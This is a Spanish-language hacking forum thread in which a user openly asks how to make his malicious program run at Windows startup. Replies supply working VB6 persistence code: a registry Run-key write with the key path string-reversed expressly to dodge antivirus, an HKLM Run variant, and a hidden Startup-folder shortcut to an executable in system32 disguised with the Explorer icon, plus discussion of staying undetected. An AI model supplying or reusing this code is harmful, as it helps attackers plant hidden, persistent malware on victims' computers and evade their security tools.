Iniciar aplicacion con windows

[Burz]

Hola voy buscando por hay y en ningun sitio me lo explica de forma que lo entienda,e cogido de otros virus codigo pero no me funciona, ¿Como puedo hacer que mi aplicacion maligna se inicie con windows?






PD:siento preguntar esto esque hasta hace poco programaba otro tipo de aplicaciones

[DarkWolf]

Código:

Dim objeto As Object

 objecto.RegWrite StrReverse("\nuR\noisreVtnerruC\swodniW\tfosorciM\erawtfoS\RESU_TNERRUC_YEKH") & "InternetExplorer","C:\Miarchivo.exe"

Lo de invertir la cadena es para k no salten los antivirus.
Saludos.

[Burz]

Joder  , que bueno lo de la cadena no,muchas gracias pero me dice que requiere un objeto

[>> s E t H <<]

tenes que inicializar el objeto. busca un  post mio que dice "guia de creacion de worms"

[Halo-Fimbres]

Joder  , que bueno lo de la cadena no,muchas gracias pero me dice que requiere un objeto

Esta mal la ruta del file y agrega mejor el set objeto por si te ocasiona errores y para que accedas mas facilmente al FSO

Código:

private sub form_load

dim objeto as object

set objeto = createobject("WScript.Shell")
objeto.regwrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\" _
    & App.EXEName, App.Path & "\" & App.EXEName & ".exe"
set objeto = nothing

end sub

Hay no mas lo adaptas a tu manera y espero que te sirva
salu2

[Burz]

Muchisimas gracias 





SALUDOS

[DarkWolf]

Si xD se me olvido poner lo de set objeto....
De todas foras quedate con lo de StrRevers k invierte cadenas y asi no es detectado

[cyberserver]

Pues mira el metodo que te dieron en el registro es facil que el antivirus lo detecte te recomiendo este codigo..!!!!

Código:

'Ruta del acceso Directo
        'C:\Documents and Settings\All Users\Menú Inicio\Programas\Inicio
        Dim ObjetoWSS As Object
        Dim AccesoDirecto As Object
        Dim Rutax As String
        Set ObjetoWSS = CreateObject("WScript.Shell")
        'En inicio
        Rutax = ObjetoWSS.SpecialFolders("AllUsersStartup") & "\" & ObjetoWSS.ExpandEnvironmentstrings("Cyb_boot") & ".lnk"
        Set AccesoDirecto = ObjetoWSS.CreateShortcut(Rutax)
        'Fichero a crear acceso directo. En este caso el Explorador de Windows
        AccesoDirecto.TargetPath = ObjetoWSS.ExpandEnvironmentstrings("c:\Windows\System32\" & App.EXEName & ".exe")
        '¿Que icono le pongo? Pues el mismo del explorer
        AccesoDirecto.IconLocation = ObjetoWSS.ExpandEnvironmentstrings("%windir%\explorer.exe, 0")
        AccesoDirecto.WindowStyle = 0
        AccesoDirecto.Save
        Set AccesoDirecto = Nothing
        Set ObjetoWSS = Nothing

[Burz]

Que hace exactamente?

[Halo-Fimbres]

Que hace exactamente?

Por lo que veo a simple vista, es una forma mas compleja de que arranque el ejecutable en todas las sesiones agregandola a la carpeta de INICIO > STARTUP / INICIO. Al parecer tambien se copia a la ruta del sistema (system32) y le adiciona un icono diferente al parecer desde el acceso directo
Espero que te sirva.. saludinez

[Burz]

Muchisimas gracias a todos por vuestra ayuda, ¿esto es indetectable?

[cyberserver]

Pues indetectable 100% no lo creo pero ningun programa creado por mi con este codigo lo han derectado.!!!!!

Es una buena forma de hacerlo y rapida....!!!

[Burz]

Pero ahora puede ser detectado

[cyberserver]

Por que lo dices???

[Burz]

porque si alguien lo ve y hace un troyano con esto y lo envia a virustotal...